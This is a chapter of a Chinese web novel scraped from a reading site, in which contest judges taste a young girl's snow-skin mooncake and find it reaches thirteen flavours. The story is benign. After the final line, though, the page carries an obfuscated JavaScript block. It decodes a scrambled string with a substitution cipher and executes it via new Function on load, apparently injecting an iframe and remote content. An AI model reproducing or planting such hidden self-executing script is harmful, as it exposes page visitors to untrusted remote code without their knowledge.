(手机请访问 m.duxs8.com); 第四百一十四章 十三味
“如果是冰皮月饼的话，倒也不算离题。”
其余评审见状，发表了一些意见。
冰皮玉饼虽然是晋江城特色小食，却是畅销于全国各地；特别是月饼这种东西，都是中秋团圆时的美食，说是家和团圆的象征，也一点都没错。
虽然不见得能和家味完全吻合，但多少能沾到边。
方城看着欣儿，也是微微有些诧异，他可从来不知道，欣儿还能做月饼。
从小到大，欣儿拿出手的，只有西点。
看来，自己这个当哥哥的，对妹妹的了解还是不够啊！
“第一个中秋，我想做给你吃。”
欣儿轻声开口，旋即把头低了下去，仿佛说出这句话，就耗费了她大部分的勇气。
闻言，方城心头一颤，生出一股暖意来。
以往在孤儿院，中秋时院里都会派送，如今出到社会，要劳心的事情多了，自己确是忽略这茬了。
不过，能想着做月饼，说明欣儿，已经接纳了这个家啊。
“那到时候，我去准备两个又大又甜的柚子！”
小徐也是笑着说道，看到这个冰皮月饼，仿佛中秋就在眼前了。
“饼皮是用上了麦芽粉，珍珠粉，晶灵泉，萦星片糅合而成，至少经过了三道工艺，和面手法和材料搭配都恰到好处，当属无暇；
馅料是用了黑芝沙，五香仁，天杏果等十余种味甜料混合，以帝媾油熬制，最后加上炼乳，七种甜味，两种中和的辅味，可以完美发挥食材特性，也是极品；
看样子，你妹妹，也是很有一番手段啊，若是夏晴不在场的话，本次比赛的冠军，绝对是你们的！”
林平仅仅看了一眼，就分析出了月饼的用料和手法，按经验和地位，果真不是盖的；此时他也给予了该月饼极高的评价，不过言下之意，却还是说欣儿的月饼不如夏晴。
这也在众人的意料之中，毕竟这么年轻，能有这样的成绩已经相当不错了，犯不着与鬼厨相比；等她发展几年，成为下一个鬼厨，也不一定！
“只是，我不明白的是，这月饼上的黄色芝麻，到底是什么材料，加上它的话，或许可以达到八味优品的层次。”
闻言，一众评审神色微愣，显然是没想到这个场上，还有林平看不透的东西。
在美食圈，有这样的等级划分，以相同的味道种类为界，不相冲的越多，食物的品质越好。
其中以三味为次，六味为中，九味为优，超过九味的，便是林平这种等级才能处理的特色菜了。
而就甜品而言，达到六味已经是相当不易了，故而甜品师成为大家的，少之又少。
欣欣的这份冰皮玉饼，眼下已经有七味了，放在世界范畴上，都是相当优秀的存在了，而这，仅仅出自一个少女之手，怎么能让他们不吃惊？
只不过这味道，越往后面，增添的也越加困难，那神秘的黄色芝麻，若是处理得好，自然是达成八味，再进一步；可若不然，可会毁了整个月饼的体验。
这就相当于许多厨师在做菜时，对于自己拿不准的味道，根本不会添加，因为对于大多数人正常的习惯来说，少了某味可以，但错放了某味，可就吃不消了。
“你试试看吧。”
方城对于林平的评价并没有发表过多意见，只是让他品尝。
无论用材再好造型再精美，对于食品而言，好吃才是王道！
见方城这么自信的样子，林平也是笑了笑，切开一块月饼，先是递给了夏晴，要让夏晴也参与到评审环节。
虽然夏晴的身份是参赛者，是被挑战的一方，但众人也没觉得有和不妥。
“即便是达到八味了，要在这次嘉年华夺冠，还是要差一些的。”
林平心里思忖着，却见夏晴咬下一口后，整个人的神情都近乎呆滞了，连咀嚼都忘记了，失去了方才的温和淡然，从表情上，根本分辨不出好还是不好。
什么情况？
林平是了解夏晴的，当即也切开一块，往嘴里塞去。
顿时间，他的眸子一亮，只是满脸不可思议地望着欣儿，没有做出任何评价，这表情，和夏晴一模一样。
做砸了么？
所有人心中都在猜测着，而作为全场的焦点，欣儿还是一副淡漠的姿态，颔着首，宠辱不惊。
“那黄色芝麻，到底是什么？”
良久，林平才长吸一口气，郑重地问道。
“怎么了，有何不妥么？”
河老附了一句。
“你自己尝尝。”
林平也不说话，实物就在这里，比任何语言都有力。
河老事先是尝过欣儿的甜品的，当时只觉得这个小女孩天赋很高，做的西点味道也极佳，才给了九十七的高分，但仅仅那种程度，应该不至于让鬼厨和林平同时讶异吧。
“十一味？”
在月饼入口后，河老直接惊呼出声，而这句话，也像所有人解释了两人讶异的原因。
十一味，已经突破了九的极限，到达了林平他们那等的层次吧！
难怪他们强烈要求继续比赛，不是哗众取宠，而是真正有实力有底气的啊！
“不，是十三味。”
夏晴也从惊异中回过神来，更正了河老的说法。
厨师最先学会的，不是厨艺，而是品菜；越是高明的厨师，能体会的细节越多，这就是为什么一样优秀的菜品，普通人只会说好吃，而厨师们则能尝出出种种味道，甚至分析出其制作手法。
而从夏晴嘴里说出的十三味，无疑是更为可靠，再次在人群中引起了轰动。
“这位小女孩的厨艺水平已经达到这种地步了么？”
当即便有评审惊骇道。
“十三味，可是那为数不多的老师们，凭借着几十年的经验累积，才可以达到的地步啊！我们圈子要出这样一个妖孽了么？”
在厨艺圈里，一般都是把传授自己手艺的人喊作师父，但也有那么德高望重的几个传奇，被世界所钦佩，称之为老师。
这些人，年轻时都是林平，夏晴这般的天才，自身天赋加上数十年的经验累计，才能在百尺竿头再进一步，达到那种遥不可及的境界。
可现在看来，一个刚入行的小女孩，便有这种水平，怎么能让他们不吃惊？
现在这个世道，天才都是捡来的么？
“不，无关手艺，这道月饼的关键，在于最后这味香料。”
林平顿了顿，凛然开口。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();